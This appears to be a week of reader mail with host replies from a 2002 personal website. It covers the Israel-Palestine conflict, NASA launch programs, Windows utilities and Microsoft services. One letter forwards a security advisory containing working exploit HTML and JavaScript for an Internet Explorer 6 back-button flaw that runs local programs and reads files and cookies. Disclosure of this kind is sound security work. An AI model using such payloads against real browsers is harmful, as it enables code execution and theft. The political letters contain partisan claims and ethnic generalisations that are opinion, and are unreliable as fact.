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Mail 201 April 15 - 21, 2002

 

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Monday  April 15, 2002

Jerry,

In the current mess in Palestine/Israel, the wall that you propose will do more harm than good. It is the tool of a previous civilization, as are Sharon's tanks and bulldozers. They are all doomed when facing a human spirit that has been driven to not fear death. And for the U.S. to only supply that kind of "help" to Israel will ultimately destroy Israel.

The only chance for Israel's survival beyond the next twenty years is for Israel to help Palestinians rebuild Palestine.

In that way, they can become economically inter-dependent with Israel instead of Israel merely using Palestinians for unskilled labor, as they do today.

The United States did this with Germany and Japan, and without insisting on the territorial transformation that Israel is doing with the Palestinian Authority. Of course, the best way will be to establish contiguous Palestinian territory so as to foster Palestinian self-esteem instead of hatred of Israel.

The choice seems pretty clear.

dunc

There is enough wrong with this that it's worth posting to comment on. Israel can survive, and will, and they don't need to help Palestinians rebuild Palestine. It might be neat if they did that, and in fact for a while it looked like that is what would happen, but Arafat has thrown that away in a shower of blood.

If Israel occupies Judea and Samaria and rebuilds as the US did in Germany, there will be such a storm of protest as to end their efforts before they start. They might have done that once. I can't think they can do it now. I wish they would, because it would be useful to have one legitimate government in the Middle East, but there is just too much history. France could not have rebuilt Germany, as an example. Or Korea have rebuilt Japan.

As to self-esteem the Palestinians have done little to be proud of themselves for unless you count talking your children into blowing themselves up on busses and in supermarkets and hotel dining rooms as part of your self-pride. And as to the number who don't fear death, make sure you are counting correctly: and while one can screw one's courage to the sticking point for a while, having to climb a damn big wall and evade the guards before you can kill yourself puts a damper on that.

Palestine was offered a better deal than they will now get. Had they taken it, Israel would eventually have been in trouble, I think; but they did not take it. And now it is down to war, war to the knife, and there is little doubt as to who will win it. Saladin despite overwhelming numbers defeated the Latin Kingdom of Jerusalem only because the Christians were commanded by an idiot. Had they faced Robert of Normandy they would have lost.

I have more sympathy for the Palestinians caught in this web than perhaps it appears, but I don't make the mistake of considering the girls in the supermarket to be morally equivalent. One went to the story to buy peppers. The other went there bent on murder. I'd have more sympathy if she went to an Army camp.

It is now war to the knife, and I do not believe Bush and Powell can prevent it. Nor am I any longer certain they should. Widen the streets and build a wall. What else can they do?

The following is from John McCarthy, Professor Emeritus at Stanford, in reply to proposals by Ron Unz. The proposals included US peacekeepers.

1. Doubtless matching experts can be found who don't countenance putting US troops on a peace-keeping mission in Israel.

2. (irrelevant to discussion)

3. Here's what the UN "peacekeepers" in Lebanon have said. "It's not our job to prevent Hezbollah from shooting rockets into Israel. Our job is to keep Israelis and Lebanese apart. Our job includes preventing the Israelis from further violating Lebanese sovereignty in going after Hezbollah." Actually the Israelis would often went after Hezbollah anyway, and the UN would protest. The UN people would be angry at the Israelis, whereas the Hezbollah were regarded as a mysterious force of nature.

4. Here's a scenario for you involving your hypothetical US force. 

Rockets are fired into Israel, and the Israelis complain that they are coming from a certain private house and suggest that the US force do what they would do - blow up the house to discourage owners of other houses from letting in "militants", as we are now told to call them. "That kind of thing is what makes the Palestinians mad at the Israelis; maybe the rockets came from a different house or the Israelis made it up." The commander sends an officer who knocks on the door of the house and is promptly shot. Four hours later a force has been assembled to surround the house, and another US officer knocks. This time the door is opened, and the second US officer is welcomed in. No rockets are found - nothing but seven women and children. The children seem to be playing martyr. "Oh, yes. Some Hamas or maybe Islamic Jihad men were here and held us hostage. No, we don't know which organization, or how many, or what they looked like, or exactly when they came and left, or what they had with them. The owner of the house is away, and we don't know when he is coming back."

Next week more rockets are fired from the house. The Israelis fire back. The only bodies found are of children - as CNN emphasizes.

I doubt the US is willing to get involved in such scenarios.

John McCarthy [jmc@Steam.Stanford.EDU]

I find John's scenario chillingly prophetic.

You're right that something formal and detailed is needed on the lessons of DC-X, and of X-33 - not that this should be a problem; my chief difficulty in writing on the matter is keeping it from expanding into a book. (Think there's a market?..)

But off the top of my head, the short version.

DC-X Lessons:

- We CAN still build complex aerospace vehicles the old-fashioned way, with small well-managed co-located teams, for far less time and money than typical government projects of recent decades.

- We CAN build reusable rocketships close to the level of complexity required to make orbit, then operate them with the support crew size (dozens not thousands) and turnaround time (days not months) required to reduce current launch costs as much as two orders of magnitude.

X-33 Lessons:

- We can - but NASA can't. The agency is institutionally incapable of doing any high-profile development via a small well-managed co-located team.

In general, high-profile projects at NASA get spread all over the map to generate political support for funding. Any new source of significant funding will then attract multiple layers of underemployed existing management from within NASA, all intent on dodging the next RIF by "helping" the project do things the traditional NASA way. The result tends to be the three-axis opposite of "better, faster, cheaper."

Major space-launch projects in NASA have an additional problem: They are subject from day one to irresistable institutional pressure to remold whatever they're doing into a Shuttle replacement - further, a Shuttle replacement that can be dropped into the current Shuttle/Station operating organization (NASA's 500-pound gorilla, controlling half the agency's overall funding) with minimum possible procedural or staffing changes. (The new Space Launch Initiative (SLI) is illustrating this point - they're aiming ever more openly at a straight-up Shuttle replacement no matter how little use that would be to the US commercial and defense interests SLI is also supposed to be supporting.)

- We can - but the existing US aerospace majors won't. They have no incentive to.

Consider: The current majors have significant existing cashflow from jointly operating Shuttle, and from selling their older paid-for expendables. They also have significant recent investments in the new EELV expendables they've barely started to recoup. Why should they take risks with their own money, or even try particularly hard with NASA's money , to replace Shuttle with the sort of moderately cheaper vehicle they and NASA think is all that's practical, when doing so in the current low-growth launch market would probably reduce their overall spacelaunch cashflow?

Furthermore: it looks to me like the existing majors actually have a fiduciary duty to their stockholders to gobble up and spend fruitlessly all available government spacelaunch R&D money, lest some upstart actually develop something with it that might threaten their existing spacelaunch cashflows. The previous paragraph's analysis doesn't apply to upstarts; they'd be threatening someone *else's* cashflow with a new low-cost vehicle.

Lockheed-Martin never needed to fly X-33 themselves; by their lights they had succeeded the instant they kept Rockwell or McDonnell-Douglas from getting the funding and possibly building something useful. And neither Lockheed-Martin nor Boeing has any real incentive to do anything about SLI beyond sucking down funding so hungrier outfits don't get it.

All of which is by way of saying, we know we CAN do it, we just have to figure out a way to get the money and the mission to the people who WILL do it. That, on evidence of X-33 and SLI to date, is the hard part.

Henry Vanderbilt Space Access Society

I am in Seattle with no time to comment...===

=====

VOPT and disk defragmenters

One of the other really good ones was Norton Speed Disk. They actually had a very good version for NT/Win2K workstation and server versions. Unfortunately Symantec in their infinite wisdom as stop distributing this product which is too bad. Especially for some of my customers who cannot buy it anymore for their new Win2K PCs.

How do you deal with software that the client needs and wants but you can't buy anymore because the manufacturer refuses to sell it?

Peter MacEwen MacEwen Consulting

 

 

 

 

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Tuesday,  

Note that I am in Seattle and this is not going to be extensive.

Set the political solutions aside for the moment. In every discussion I have read there is a fundamental element missing. Leon Uris summed it up best in this quote from The Haj:

"So before I was nine I had learned the basic canon of Arab life. It was me against my brother; me and my brother against our father; my family against my cousins and the clan; the clan against the tribe; and the tribe against the world. And all of us against the infidel."

Let each of us remember that as non-Arabs, we are the infidel. They will never forget.

Thanks for one of the most informative websites in cyberspace.

Dave Doss

One might wish it were different, but that does seem to be the norm in many parts of the Moslem world.

From: Stephen M. St. Onge saintonge@hotmail.com

Subject: Israel

Dear Jerry:

I agree with you about the need to separate the two sides, but I think we're missing the heart of the problem. In a real sense, Israel doesn't exist.

From the beginning, Israel has survived on handouts from the outside world -- and he who pays the piper calls the tune. Once more, Socialism kills!

So the real question is, what will we, the U.S.A., do about the Israel/Palestine problem? As far as I can see, delude ourselves that everyone's going to want to live happily together just as soon as someone says the magic words, or points out the whatever.

I don't see any way out of this.

Sadly, Stephen

P.S.: I'd like to recommend Robert B. Kaplan's WARRIOR POLITICS. Has some interesting and original things to say on the Republic vs. Empire question.

 

 

Howdy, Jerry. Thought you'd appreciate this Fortune article

http://www.fortune.com/indexw.jhtml?channel=artcol.jhtml&doc_id=207250

Probably one of the strongest fulfillments of a prediction of yours that I've seen lately.

-- ------------------------------------------------------------------------------- Jonathan Abbey jonabbey@arlut.utexas.edu Applied Research Laboratories The University of Texas at Austin Ganymede, a GPL'ed metadirectory for UNIX http://www.arlut.utexas.edu/gash2

I would rather be wrong...

And the beat rolls on

  http://www.msnbc.com/news/627086.asp  -- ------------------------------------------------------------ Roland Dobbins <mordant@gothik.org> 

"Central databases already exist. Privacy is already gone."

-- Larry Ellison, CEO of Oracle Corporation

The Incompetent Empire:

http://www.nationalreview.com/issue/helprin042202.asp  -- ------------------------------------------------------------ Roland Dobbins <mordant@gothik.org> 

"Central databases already exist. Privacy is already gone."

-- Larry Ellison, CEO of Oracle Corporation

Ah well

Peter MacEwen notes that Symantec no longer sells Norton Speed Disk. While they may no longer sell a stand-alone version of Speed Disk, it is still included as part of the Norton Utilities package--and is running nicely on my Win2K workstation and on my NT4 server (with hardware RAID 5).

To quote Symantec, "There are three different versions of Speed Disk (in the Norton Utilities 2002). One is for Windows 9x/Me, one is for Windows NT/2000, and the third is for Windows XP. The appropriate version is installed, depending upon your operating system."

Carroll Bloyd

Dr. Pournelle, A couple of funny things in the news today.

Patent Granted on Sideways Swinging http://slashdot.org/article.pl?sid=02/04/15/2324253&mode=thread&tid=155 

James Woolsey, former DCI, gets hit with virus. Yes, it's in the gossip column. http://www.washingtonpost.com/wp-dyn/articles/A58475-2002Apr16.html 

Kit Case kitcase@comcast.net Reston, Va

And from Rich Pournelle:

http://www.spacedaily.com/news/020416170250.e6dozl8f.html 

There is a lot of mail about hydrogen wells. I'll get some up when I can read the article myself.

 

-----

---..---..---..---..---..---..---..---..---..---..---..---..---- Title: Using the backbutton in IE is dangerous. Date: [2002-04-15] Software: At least Internet Explorer 6.0. Tested env: Windows 2000 pro, XP. Rating: Medium because user interaction is needed. Impact: Read cookies/local files and execute code (triggered when user hits the back button). Patch: None. Vendor: Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002. Workaround: Disable active scripting or never _ _ use the back button. o' \,=./ `o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---

DESCRIPTION: ============ IE allows urls containing the javascript protocoll in the history list. Code injected in the url will operate in the same zone/domain as the last url viewed. The javascript url can be set to trigger when a user presses the backbutton.

The normal behaviour when a page fails to load is to press the backbutton. The error page shown by IE is operating in the local computer zone (res://C:\WINNT\System32\shdoclc.dll/dnserror.htm# on Win2000). Thus, we can execute code and read local files.

EXPLOIT: ======== The exploit works as follow: Press one of the links and then the back button.

Note: Exploit has only been tested on fully patched IE 6.0, with Win XP and Win2000 pro (assume other OS are also vulnerable). Winmine.exe and test.txt must exist.

--------------------------CUT HERE------------------------------- <html> <h1>Press link and then the backbutton to trigger script.</h1> <a href="javascript:execFile('file:///c:/winnt/system32/winmine.exe')"> Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br> <a href="javascript:execFile('file:///c:/windows/system32/winmine.exe')"> Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br> <a href="javascript:readFile('file:///c:/test.txt')"> Read c:\test.txt (needs to be created)</a><br> <a href="javascript:readCookie('http://www.google.com/')"> Read Google cookie</a>

<script> // badUrl = "http://www.nonexistingdomain.se"; // Use if not XP badUrl = "res:"; function execFile(file){ s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 '; s+= 'CODEBASE='+file+'></OBJECT>'; backBug(badUrl,s); } function readFile(file){ s = '<iframe name=i src='+file+' style=display:none onload='; s+= 'alert(i.document.body.innerText)></iframe>'; backBug(badUrl,s); } function readCookie(url){ s = '<script>alert(document.cookie);close();<"+"/script>'; backBug(url,s); } function backBug(url,payload){ len = history.length; page = document.location; s = "javascript:if (history.length!="+len+") {"; s+= "open('javascript:document.write(\""+payload+"\")')"; s+= ";history.back();} else '<script>location=\""+url s+= "\";document.title=\""+page+"\";<"+"/script>';"; location = s; } </script> </html> --------------------------CUT HERE-------------------------------

Disclaimer: =========== Andreas Sandblad is not responsible for the misuse of the information provided in this advisory. The opinions expressed are my own and not of any company. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk.

Feedback: ========= Please send suggestions and comments to: _ _ sandblad@acc.umu.se o' \,=./ `o (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--- Andreas Sandblad, student in Engineering Physics at the University of Umea, Sweden. -/---/---/---/---/---/---/---/---/---/---/---/---/---/---/---/--

-----

-- ------------------------------------------------------------ Roland Dobbins <mordant@gothik.org> // 650.776.1024 voice

"Central databases already exist. Privacy is already gone."

-- Larry Ellison, CEO of Oracle Corporation

 

 

 

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Wednesday,

Open with this:

Hello,

Ive been treading your webpage for quite a while and always found it interesting. I'm dissapointed howevert with the one-sided tone of your and some readers comments on the Israelian - Palestinian issue.

Some thoughts :

- There is a big difference between the violence of the Palestinians and Israel.

The bombings of some Palestinian extremists are definitely wrong and there is no excuse for it. Unfortunately a small part of the Palestinians are able to discredit an entire population.

The actions of the Israeli government are state sponsored terrorism. This , in my opinion is much worse. A democracy must defend itself , but not at the expense of an entire population. If a democracy wants to prosecute a criminal ( & terrorists are criminals ) it must do so by legal means. You must arrest the criminal and prosecute him according to the democratic laws. Bombing buildings where 'there might possibly suspected criminals' is contradictory to those rules of legal justice. And a democracy where the legal system is put aside so easily is wrong to me.

- More Palestinian women and children have been killed in this conflict than Israelis.

How can this be if Israel is only prosecuting terrorists ? The truth is that Israel is fighting an all-out war against the Palestinian population, not against the terrorists. The Palestinian population ( and I'm not talking about the terrorists here ) only wants what the US got from England a couple of hundred years ago, Independence and some place to live. How can that be wrong ? But Israel keeps fighting just that.

- Israel keeps on laughing with UN resolutions.

And these are very weak , low key resolutions because the US has used its veto right ( another one of these democratic notions ) repeatedly to make sure that the ones that got through weren't to harsh on Israel. And even then Israel fails to comply.

- One of your readers makes the simplistic statement that to arabs its 'them against the infidels'.

That is one of the most single sided , simplistic remarks Ive read on your website recently. Its right in the league with those comments , flames from those AMD fanatics you got. hmmm... guess it would'nt do to conclude from that remark from that Steven guy that all Americans are......

- Everybody knows the solution to the Israel - Palestine issue.

Acknowledge the Palestinian state. Give let it have part ( is it the east part ? ) Jerusalem as its capital. Exchange the settlements with the palestinians for Palestinian land that is physically attached to Israel. Pay some kind of money to the Palestinians that have been deported ( or is it politically incorrect to use that term ?) from Israel. Stop spending mony on arms for Israel and use that money to build housing , schools , hospitals in Palestina. Sign a peace treaty between the arab nations & Israel.

Given that, the terrorists will no longer be seen as martyrs , but as what they are , criminals that have to be prosecuted.

Diether De Coninck ------

I am not responsible for reader comments, and I try to provide a spectrum of sane opinions.

Regarding Palestinian demands: The problem is that everything you say they want was offered, and rejected, at Camp David. The only issue left was "right of return" and while Israel will never grant that, compensation is certainly negotiable. And the Camp David offer was rejected in favor of renewing the war.

But leave that: my concern is what the US ought to be doing in this situation. My views are well known. I want to put resources into energy independence and get out of entangling alliances and imperialism anywhere. Mind our own business and make our business as local as possible. We aren't doing that, but it's what I want. I trust our engineers more than I trust our diplomats and politicians.

Second, I cannot accept the moral equivalence blowing up a supermarket and going into an area known to harbor people who do that. There are always civilian causalities in war. Always. The question is not will there be civilian casualties, but "do we go to war knowing that civilians will die?" The Palestinians say they are at war, and that the suicide bombings are their best weapon.

Now if the Palestinians confined their bombings to military targets == blow up check points, military barracks, and patrols == it would be much harder to condemn them. They don't. And I do not consider it morally equivalent to blow up a supermarket and to go to that market to buy peppers as happened to the "two teen age girls" featured in a recent Newsweek. 

Given the situation in Palestine, the only thing that is going to end it is to build a wall. Where that wall is put is up to Israel because they have the military supremacy to put it where they want.  Anywhere they want. The US isn't going to bomb Tel Aviv to make the Israeli government give up the war any more than we are going to bomb Gaza to make the Palestinians give up their Intafadah. It won't happen either way. We have only so many knobs to twist, and I weary of Europeans who seem to delight in accusing the US of thoughtcrime.

The facts are that Israel may be persuaded to pay compensation for property seized since 1948. Some of that property belongs to Christian friends of mine so I sure won't object. Some belongs to a Christian Order I belong to and I'd love to have some money for that if we can't get our clinic back. Israel is not going to be persuaded to accept a million non-Jews as new citizens, and the US and the rest of the world have no means to make them do it, but they should be persuaded to pay for seized property. 

The Palestinians are, many of them, displaced, or descended from displaced persons. Between 4 and 20 million Germans were displaced at the end of WW II. About 2 million Poles were displaced at the end of WW II. No one demands a right of return for them, and they don't live in DP camps now. Some still claim property stolen after WW II and a few are actually getting some compensation. Those are legal matters and blowing up grandmothers at dinner isn't part of the tactics of recovering that property.

War is brutal. I certainly do not want the Israeli Army running around tearing out walls and tearing holes in houses and widening streets with bulldozers. At the same time, were one of my kids in that army as a citizen called to arms, I would damned well tell him to be careful, and if being careful meant being more violent than either of us wanted, then what? 

War is Hell, said Sherman. When you unleash the dogs of war you summon demons. There is no help for that. There is no such thing as clean, surgical, war.

If you Europeans == from the cleanup I had to do in spelling and grammar on your letter I conclude that English is not your first language == want to send peace keepers to Israel and can get the Israeli government to accept them, that's your concern and I applaud. I don't want to send our own. And we are not going to invade Israel.

When the Palestinians  send people to blow up supermarkets and dinner parties, they must expect the relatives of the victims to retaliate. I don't expect to like the retaliation even if it's done by my troops; I sure don't have responsibility for what Israel does.

Build walls. Sometimes it is the only way. And the sooner the better. Note that when you build a wall you de facto say "What's outside is yours, not mine..."

This from Joel Rosenberg:

 

I found your European correspondent's comments very, well, unsurprising, but very revealing -- thanks for printing them. I could go point by point, but I save that for discussions with people I've been given reason to respect; I'll just take one of his claims.

"The truth," he writes, "is that Israel is fighting an all-out war against the Palestinian population, not against the terrorists."

Huh? Even the (I believe, dramatically inflated; time will tell) PA claims of 500 Arabs being killed in Jenin makes it clear that that's not so. The population of Jenin is roughly 15,000. An "all out war" against the population would not have resulted in the deaths of less than 3% of the population -- and that's accepting the Arab estimates. In an all out war against a population, one doesn't call upon noncombatants to flee, and then let them do so.

There are numerous complaints from Arabs in Jenin about Israelis having detailed maps with specific houses circled -- if one is engaging in a mass slaughter or even a mass destruction, there's no need to send soldiers from house to house, or to select houses for demolition -- just bulldoze them all.

I think some people haven't read history, and don't know what an all-out war is.

For an on-the-scene report from Jenin, check out:

http://www.nationalpost.com/search
/story.html?f=/stories/20020415/642590.html&qs=jenin
 

Some highlights, which, I suggest, may be indicative:

A grocery store owner near Jenin spoke in a hushed voice about seeing Israeli troops loading the bodies of massacred Palestinians into a refrigerated truck which he said was still parked on a nearby hill.

Asked to elaborate, he declined. "The people that are sitting there are collaborators," he said.

The refrigerated truck was parked on a grassy hill, where Israeli troops were resting with their tanks and armoured vehicles listening to Alanis Morissette on a stereo.

When a National Post reporter inspected the truck, it contained not bodies but apples and other food and supplies for the troops.

....

The contorted bodies of four Palestinian men, blackened by decomposition, were found in a living room apparently hit by a missile. Andeera Harb, 34, a child psychologist whose relatives owned the house, said the four men had been eating dinner.

However, there was a helmet on the head of one body. What appeared to be pipe bombs were partially hidden under a coat.

---------- No. This was, as I argued last week, a demonstration, and as the Israelis have been saying, an attack on the terrorist infrastructure.

So far, the latter appears to be working -- instead of one or more suicide bombings a day, there have been three over almost three weeks, and the capture of some of the terrorist leadership -- including the head of Arafat's Al Aqsa Martyr's Brigade, Marwan Barghouti -- should put something of a crimp in the shaheeds. Even in the PA, one can't simply walk down to the local grocer and order a pound of Semtex -- the bombing campaign requires recruitment and indoctrination of shaheed candidates, materiel, and transport. Right now, the IDF has captured and killed much of the leadership, and the rest are keeping their heads down; huge quantities of explosives have been found (one big stash in a mosque, unsurprisingly); and it's getting harder and harder for the shaheeds to get across the Green Line. (Note that neither of the three recent ones have come from Gaza, the hotbed of shaheed recruitment -- Gaza's bottled up.)

It's not the end of the matter, and it's being endlessly discussed in Israel.

But, apparently, it hasn't been a sufficient demonstration. While I don't ascribe to his longterm view, in the short run, Shlomo Gazit has it about right --

see: http://www.jpost.com/Editions/2002/04/16/Opinion/Opinion.47062.html 

-- except that he isn't thinking "wall". He should be, and many Israelis are. If the Israelis don't build the wall, as they should, the all out war may be coming, but if and when it does, it won't be APCs delivering infantry for house-to-house fighting, while ignorant Europeans complain about "an all-out war against the Palestinian population."

 

 

And from: http://www.nationalpost.com/home/
story.html?f=/stories/20020417/664239.html
 

(A story, basically, about how the IDF hasn't cracked the Nablus problem.)

The soldiers say they often see armed men in the city but do not fire on them because there are so many women and children around. The rule in Nablus is to shoot only when fired upon.

"In the middle of these children, we see sometimes guys with guns," said Maj. Kachel. "It's a problem to shoot them. Even if they shoot us, it's a problem to shoot at this place. If I miss by 10 centimetres, I shoot a child. That's why we avoid shooting."

Captain Doron Sitbon said the Israeli troops could take Nablus if they were so ordered. But the army apparently wants to avoid another messy fight like Jenin, where it has been accused of a massacre.

"We have the capability," he said. "It's a matter of will."

-------------------------------

It's their call, of course; Israel has to live with the consequences, either way.

In war the morale is to the physical as three is to one. Napoleon Bonaparte

It is almost always a matter of will.

Jerry,

Just a note on something that I think you especially might find interesting. I am currently working on a novel and tend to keep my files split into chunks of around 50-60 pages or so. I have kind of a micro Chaos manner setup here and I work on the novel on one of three machines, each of which boot into various operating systems. I was working on my novel on my XP machine (winXP pro and Office XP) and noticed that it was taking a very large time to save the file each time it autosaved the file. I then looked at my saved file size and it was at nearly one meg. I found this odd and checked. It was something that WordXP was doing. I'm not sure exactly what but when I told it to save using only features available in Work 2K or earlier the file size went back down to 233K.

I'm not sure what WordXP is doing, but it has done it twice now and it completely blows performance (on a fairly fast machine) out the door when it super-sizes my file. I tried turning off smart-tags, but that made only a small difference. This is a big deal for anyone who deals with even moderately large files. Quadrupling the size of files and killing their performance just isn't acceptable.

Just thought you might want to know and to see if you with your contacts in MS could maybe find out what is happening.

Thanks for your work,

Dave Bennett Ergoface Consulting

Clearly I need to install and try Windows XP. I have been using 2000 only, so I have no experience with the problem.

Dear Doctor,

Came across this little thorn in my morning perusal of the Washington Post.

http://www.washingtonpost.com/wp-dyn/articles/A62695-2002Apr16.html 

Jon Eveland

Ugh. Or? Dunno, need to think.

Airline Security

http://slate.msn.com/?id=2064257  "The hardest task facing any would-be terrorist is not getting his weapon on the plane. That's just a game of hide-and-seek, and the seeker's odds in that situation are never particularly good. The real problem for the terrorist is getting himself onto the plane. People about to commit violent acts make mistakes. They get nervous. They have to construct elaborate cover stories for themselves and fall back on training that may have been conducted months or even years before in a country far away."

Owen Strawn

Thanks

 

 

 

 

 

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Thursday,

At WinHEC. Mail posted from WinHEC seems to have been lost. I don't know why.

I am putting in some things here just to have a place for them.

Dr. Pournelle, A couple of funny things in the news today.

Patent Granted on Sideways Swinging http://slashdot.org/article.pl?sid=
02/04/15/2324253&mode=thread&tid=155
 

James Woolsey, former DCI, gets hit with virus. Yes, it's in the gossip column. http://www.washingtonpost.com
/wp-dyn/articles/A58475-2002Apr16.html
 

Kit Case kitcase@comcast.net Reston, Va

Odd. Thanks.

AND NOW I HAVE FOUND the missing mail. This is VERY odd.

The following was sent under the subject of "very disappointed" from Syed Mohammad Amir Husain [redacted/Editor]:

mr. pournelle,

i've been a byte reader since i was 8 years old. i used to read your column frequently, but then during the gulf war i remember turning to the chaos manor pages and finding the first couple of paragraphs of your column to be, what seemed to me, hate filled rhetoric against iraq. you were defending a war against an entire nation, that lost hundreds of thousands of children, men and women during the conflict, and then another 2 million due to the sanctions. at age 13, i stopped reading your column. i photocopied your article with references to iraq and took it around to about a dozen bookstores and convinced their owners to stop carrying byte. i thought then that i would write to you, but did not feel i could contain my anger and so passed on the idea. to me, you were clearly the sort of person who doesn't know how to separate his work (writing about technology) from his biased and violent political beliefs.

recently someone sent me a link to an article on byte.com, and clicking here and there i chanced upon your website. i saw the front and center link on your middle east "discussion". i don't know why i clicked on it. my thoughts on your views and those of your ilk are not expressible in a civil enough manner, and therefore i will not respond to the lies contained therein. on a different note, though, it seems that zionist propoganda has no end and even seemingly educated people as yourself feel no shame in spreading it... if the zionist claim on israel is based on history, then try to ask yourself how that claim is valid when there were cananites living in canan when the jews, suffering for 40 years due to their continued disobedience of God and his Prophets, Moses and Aaron, finally came upon Canan. If the logic is that "jews were there first", the Tora itself will contradict it. And if the logic is more of the Nazi variety, "we're here now and we'll torture you and demolish your houses until you give up all your territory", then i'm afraid neither history, nor circumstance will be kind to zionists. this is a very mild way to put it.

the facts are (ref. Wake up America! by Karen Grundhofer) when the Palestine problem was created by Britain in 1917, more than 90 percent of the population of Palestine were Arabs, and that there were at that time no more than 56,000 Jews in Palestine. the facts are that more than half of the Jews living in Palestine at that time were recent immigrants, who had come to Palestine in the preceding decades in order to escape persecution in Europe. And that less than 5 percent of the population of Palestine were native Palestinian Jews. and i can keep going on... you can verify all of these facts also.

so why do you keep spreading lies and why are you so hate filled? muslims did not start the war with zionists. read about ben gurion and find out how the war started. read about sharon and shatila and sabra and find out why people blow themselves up in israeli pizza parlours. and please also read, "but were the good for the jews" and find out the historical relations between muslims and jews, as compared to jew-christian relations.

you will not change. i know that. but after 12 years, i finally sent you this note. some of my best friends are jews. some of my fathers best friends are jews. i cannot be anti semetic because i too am descended from noah's son, sem, and am hence semitic. the issue is purely a political one. purely about land.

consider the realities and the disaster that awaits the world at large if the sharon "doctrine" finds misguided supporters. there are 12m members of the jewry in the world today. there are 1.3 billion muslims. why does israel want to convert every muslims into an enemy of israel? isn't peace in the interest of israel? you can debate figures, but the consensus is that there are more muslims in america now than jews (and take out the percentage of jews who are not zionists, you are left with an even smaller number). the fact is that the growth rate of the muslim religion as compared to any other is the highest, globally, and in the United States. muslims nations that were previously aligned with the USSR are now all moving towards, and making up with, the west at large. how long will israel find support? it must not make life difficult for itself and its citizens. peace must be achieved otherwise nothing but death and destruction awaits... i'll let you ponder over how a real conflict with an impartial west, will turn out.

here is some additional reading material for you.

best regards, amir husain

-- an extract from an article in today's washington post. goes to show that suicide bombers are a product of the inhumane treatment and persistent torture the Israelis subject innocent Palestinian women and children to.

pity our own foreign office hasn't summoned ambassadors of countries that support Israel's brutality and given them a piece of our mind.

you can read the entire article at http://www.washingtonpost.com/
wp-dyn/articles/A34518-2002Apr11.html
 

amir --

Khadra Samara, 33, the wife of the hospital cook, said she was inside her home on Rawabi Street in the refugee camp about 11:30 Sunday night when an Israeli bulldozer approached and tore through the front gate and began slamming into the house.

"We started screaming and lighting lamps and candles so they'd know someone was inside," she said. "We were 15 women and children. . . . But as we screamed, a missile was fired at the house, destroying the second and third floors. The whole house shook, there was a flash of light, and all the windows were blown out."

In a panic, Samara called her husband at the hospital and pleaded for help. Inexplicably, the bulldozer backed off. But before dawn Monday it smashed into the house again, shaking the cinder-block walls of the bedroom where the children were sleeping.

"The top of the wall started to give, and I started grabbing the kids and hauling them away from there," she said. "They destroyed the house with everything in it. We didn't even take one T-shirt for one child."

Samara tried to get out the front door, but found it was blocked by rubble. She handed the children through a side window into a neighbor's house.

"I was so furious I wanted to make a suicide bomb and use it on them," she said. "I picked up a cylinder of cooking gas to carry with me so I could blow it up. I was so scared I was screaming. I thought I was going to die.

"When I picked up the cylinder my daughter said, 'Mom, don't do it! For God's sake don't do it!' "

The second house provided little respite. An hour after they took refuge there, the bulldozer came again. They fled to a third house; it came under attack from missiles fired by helicopter gunships.

"From 12 p.m. to 3 p.m. we ran from bedroom to bathroom to kitchen, wherever we thought was safest to go. The children became sick from fear and started vomiting," Samara said.

They finally emerged waving white scarves. By that time, with residents of the two other houses having joined the group, they counted nearly 30 women and children. The soldiers held them for three hours, then let them go, Samara said.

"We walked for a half-hour from the camp into the town," she said. "Israeli helicopter gunships dropped stun grenades to scare us."

© 2002 The Washington Post Company

_

I think I need not comment here. If I am seen as hate filled and the rest of what he says, it is pointless to say more. I fear the above says more about the sender than it does about me.

I don't much like what Israel is doing. I like even less encouraging children to walk into restaurants and blow themselves up with a lot of other people. That is no way to make war, and it doesn't in fact win the war: the high water mark of what Palestine could have got was probably at Camp David. That opportunity was lost and blowing up restaurants and stores won't do it. The really horrible part of what it happening is that it can't possibly work.

If his point is that the Israelis have done things that are far less than admirable, I thought I began with that with the story of the Sexton of Holy Nativity.

In any event, I have little more to say on the matter: I see nothing that persuades me that there is anything to do but build a wall. Since nothing less than the US invading the area and imposing a partition along the lines of the pre-Six Day War boundaries will satisfy anyone on one side there, and since we won't do that under any circumstances, I see little the US can do that Clinton didn't do. We will be blamed for doing too little no matter what we do.

Dear Dr. Pournelle,

A Chicago Sun-Times editorial says that the reason houses were knocked down in Jenin was because Palestinians placed anti-tank mines in the streets which forced the IDF to bulldoze a path through buildings.

Was there a better way ? I don't know but if it were our troops I would tell them to go ahead - knock them down.

War is hell.

Thanks for such a far ranging web site.

Tom Slater

War is Hell.

Enough. Back to computer processors.

Dear Sir,

Your latest column mentioned your difficulty with Microsoft Passport and .Net services. I’ve been curious about the poor performance of the various Microsoft services, even with my ADSL service, so I used VisualRoute to ping their various URLs. The results were…interesting.

 

First, their Tier 1 provider is Global Crossing, a company currently restructuring under Chapter 11. The hops through their network have high latency. From Naples, Italy to Rome my latency is no more than 91 ms. The first Global Crossing router is 170ms, and it just gets worse from there.

Second, the Microsoft network functionality is bizarre. Each successive iteration of VisualRoute shows worse network performance. No packets are lost until I hit the first Microsoft node. Packet loss generally starts at 20%, showing an upward trend with each iteration until eventually the packet loss reaches 100 percent. This may be some sophisticated network security measures, but the packet loss combined with high latency leads me to believe otherwise. In addition, the number of nodes changes with each subsequent iteration. This may be due to some sort of load balancing, but I’ve never seen this type of behavior with any other site.

I get around 210 ms latency with Hotmail and MSN with no packet loss; the Microsoft.com website has around 220ms latency with up to 100% packet loss. I suspect that their poor choice of a Tier 1 provider and some odd network performance is the source of the overall poor performance of the various Microsoft products.

What this means for the future of .NET is uncertain, but it does worry me. I also suspect I have way too much time on my hands.

Cordially,

Kris Carlson

Thanks!

>From today's Seattle Times:

"Feds Might Use Microsoft Product For Online ID"

"Forget about a national ID card. Instead, the federal government might use Microsoft's Passport technology to verify the online identity of America's citizens, federal employees and businesses, according to the White House technology czar." http://seattletimes.nwsource.com/text/134438173_passport18.html 

Using clear text will cost less, & be as secure......

Be Afraid, very Afraid..... :)

Jim Whitlock

Be afraid. Be very afraid.

 

 

